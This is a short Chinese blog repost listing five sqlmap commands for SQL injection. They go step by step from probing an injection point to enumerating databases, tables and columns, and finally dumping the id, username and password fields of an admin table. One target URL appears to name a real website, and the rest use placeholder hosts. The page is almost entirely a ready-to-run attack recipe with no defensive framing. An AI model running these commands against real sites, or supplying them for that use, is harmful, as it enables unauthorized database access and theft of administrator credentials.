首页 > 数据库技术 > 详细

SQLMAP注入常见用法

时间:2015-03-26 23:03:00      阅读:453      评论:0      收藏:0      [点我收藏+]

 

1.检查注入点

sqlmap -u http://www.com.tw/star_photo.php?artist_id=11

 技术分享

2.列数据库信息当前用户和数据库

sqlmap -u http://www.xxxx.com/getcustomer.asp?q=1 --dbs --current-user --current-db

 技术分享

 技术分享

3.指定库名列出所有表

sqlmap -u http://www.xxxx.com/getcustomer.asp?q=1 -D xxxSQL --tables

 技术分享

4.指定库名表名列出所有字段

sqlmap -u http://www.xxxx.com/getcustomer.asp?q=1 -D xxxSQL  -T DB_admin --columns

 技术分享

5.指定库名表名字段dump出指定字段

sqlmap -u http://www.xxxx.com/getcustomer.asp?q=1 -D xxxSQL  -T admin -C id,,username,userpws --dump

 技术分享

 

SQLMAP注入常见用法

原文:http://www.cnblogs.com/xue6666/p/4370079.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!